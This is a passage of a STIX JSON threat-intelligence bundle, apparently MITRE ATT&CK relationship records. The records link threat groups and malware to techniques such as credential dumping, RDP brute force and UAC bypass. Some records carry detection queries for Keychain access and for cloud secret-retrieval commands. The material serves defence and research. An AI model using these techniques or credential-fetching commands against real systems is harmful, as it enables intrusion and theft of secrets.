2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:08:50.276Z","description":"(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9412068-a35c-4be3-9945-a1f69f2f77db","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-17T19:22:28.806Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use fileless UAC bypass and create an elevated COM object to escalate privileges.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c94231d2-5b79-457d-b41c-4a496c173b68","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:42:18.198Z","description":"Monitor for Keychain files being accessed that may be related to malicious credential collection.\n\nAnalytic 1 - Unauthorized access to Keychain files.\n\n index=security sourcetype=\"macos_secure\"\n(event_type=\"file_open\" AND file_path IN (\"~/Library/Keychains/*\", \"/Library/Keychains/*\", \"/Network/Library/Keychains/*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c945e5f2-5622-46ce-8b35-468d41d2af46","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Moran 2014","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"}],"modified":"2020-03-21T00:23:20.755Z","description":"[APT12](https://attack.mitre.org/groups/G0005) has used the [RIPTIDE](https://attack.mitre.org/software/S0003) RAT, which communicates over HTTP with a payload encrypted with RC4.(Citation: Moran 2014)","relationship_type":"uses","source_ref":"malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c948f964-e26c-4226-9577-7b78b5bf271f","type":"relationship","created":"2017-05-31T21:33:27.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-19T22:06:25.739Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument \"dig.\"(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c94a3ac7-1f05-460b-9bff-67fafd260e01","type":"relationship","created":"2020-09-11T13:27:44.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.344Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has come with a signed downloader component.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c952f284-e529-481f-97fb-7a6e14c25ccf","created":"2017-05-31T21:33:27.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:24:49.533Z","description":"Droppers used by [Putter Panda](https://attack.mitre.org/groups/G0024) use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 – 0xAF to obfuscate payloads.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2018-10-17T00:14:20.652Z","description":"[route](https://attack.mitre.org/software/S0103) can be used to discover routing configuration information.","relationship_type":"uses","source_ref":"tool--c11ac61d-50f4-444f-85d8-6f006067f0de","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c958d98c-d3d9-40cf-9702-5d9cb2cdf719","type":"relationship","created":"2020-09-29T16:08:22.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"PWC WellMess C2 August 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html","description":"PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-29T17:39:46.451Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can decode and decrypt data received from C2.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c962253b-d89e-4645-bdd4-5625df63abc1","created":"2024-06-11T17:25:34.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T19:05:10.568Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has exploited known vulnerabilities including CVE-2023-3519 in Citrix NetScaler for initial access.(Citation: SOCRadar INC Ransom January 2024)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c965212c-f60d-4814-97ce-bbbb83382703","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for an extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)","source_ref":"x-mitre-data-component--bf91faa8-0049-4870-810a-4df55e0b77ee","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9660ab0-33d4-434d-833f-cc1969b04f7a","type":"relationship","created":"2019-01-31T01:07:58.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.961Z","description":"(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"tool--30489451-5886-4c46-90c9-0dff9adc5252","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c96b0cbe-7523-4ee6-ae73-b6a8cba3ea44","type":"relationship","created":"2019-07-09T17:42:44.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.235Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) has the ability to download additional files.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c96e7dda-d05c-458a-8332-9e7851bb4775","type":"relationship","created":"2020-11-10T16:49:12.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."}],"modified":"2020-11-10T16:49:12.704Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has acquired credentials from the SAM/SECURITY registry hives.(Citation: FireEye KEGTAP SINGLEMALT October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c973e69a-f07c-470b-a04a-82cd91216c26","type":"relationship","created":"2022-01-13T20:02:28.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-13T20:02:28.626Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9747fcc-b249-49cc-8f8b-aad9e89bdc31","type":"relationship","created":"2020-07-30T19:23:33.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:22.245Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used VMProtect to pack and protect files.(Citation: Fortinet Metamorfo Feb 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9759e33-1cdd-472a-b3fc-f3263f218fdb","type":"relationship","created":"2021-06-22T14:28:38.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T14:28:38.411Z","description":"[FYAnti](https://attack.mitre.org/software/S0628) has the ability to decrypt an embedded .NET module.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--434ba392-ebdc-488b-b1ef-518deea65774","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9767024-ff9a-4c20-b29c-5270874f8cd1","created":"2024-08-24T21:02:41.779Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-24T21:02:41.779Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) is capable of identifying running software on victim machines.(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c9768a3e-1556-488e-8a9e-55389fd1752e","created":"2021-11-29T19:10:14.674Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SysUpdate](https://attack.mitre.org/software/S0663) can use a Registry Run key to establish persistence.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-16T19:11:23.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c97a4bfd-e279-476d-a96b-c00335510a2c","type":"relationship","created":"2019-06-24T13:50:29.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T20:00:47.007Z","description":"Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.","relationship_type":"mitigates","source_ref":"course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c97d4d74-994a-48eb-8175-5e897c98b99a","created":"2023-03-21T21:23:37.610Z","revoked":false,"external_references":[{"source_name":"Cybereason Astaroth Feb 2019","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T21:23:37.610Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) has obfuscated and randomized parts of the JScript code it is initiating.(Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c97e1a14-d6e6-4d62-add5-32680fb8649a","created":"2023-09-30T20:20:42.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:35:03.290Z","description":"Monitor for API calls and CLI commands that attempt to enumerate and fetch credential material from cloud secrets managers, such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure. Alert on any suspicious usages of these commands, such as an account or service generating an unusually high number of secret requests.\n\nAnalytic 1 - High volume of secret requests from unusual accounts or services.\n\n index=security sourcetype IN (\"aws:cloudtrail\", \"azure:activity\", \"gcp:activity\")\n(eventName IN (\"ListAccessKeys\", \"GetLoginProfile\", \"ListSecrets\", \"GetSecretValue\", \"GetParametersByPath\", \"ListKeys\") OR\noperationName IN (\"ListAccessKeys\", \"GetLoginProfile\", \"ListSecrets\", \"GetSecretValue\", \"GetParametersByPath\", \"ListKeys\") OR\nprotoPayload.methodName IN (\"ListAccessKeys\", \"GetLoginProfile\", \"ListSecrets\", \"GetSecretValue\", \"GetParametersByPath\", \"ListKeys\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2020-03-18T19:50:38.630Z","description":"[Elise](https://attack.mitre.org/software/S0081) executes net user after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c98aed07-c64e-41a3-9267-f97dc0a5be5d","created":"2022-03-30T14:26:51.838Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","modified":"2022-04-20T03:10:45.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c992481b-fe93-416d-b8a3-c5ed752c17f4","type":"relationship","created":"2019-03-25T15:05:23.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2019-06-30T23:07:54.081Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) utilizes [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9932124-c6dd-4c26-a762-bde5be25bed7","type":"relationship","created":"2021-03-15T18:56:36.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."},{"source_name":"Bitdefender Trickbot March 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf","description":"Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.782Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses brute-force attack against RDP with rdpscanDll module.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c995160b-04cd-42b8-bb1a-106f24c9b28c","created":"2024-07-01T14:26:59.843Z","revoked":false,"external_references":[{"source_name":"emotet_trendmicro_mar2023","description":"Kenefick, I. (2023, March 13). Emotet Returns, Now Adopts Binary Padding for Evasion. Retrieved June 19, 2024.","url":"https://www.trendmicro.com/en_us/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T14:26:59.843Z","description":"[Emotet](https://attack.mitre.org/software/S0367) uses obfuscated URLs to download a ZIP file.(Citation: 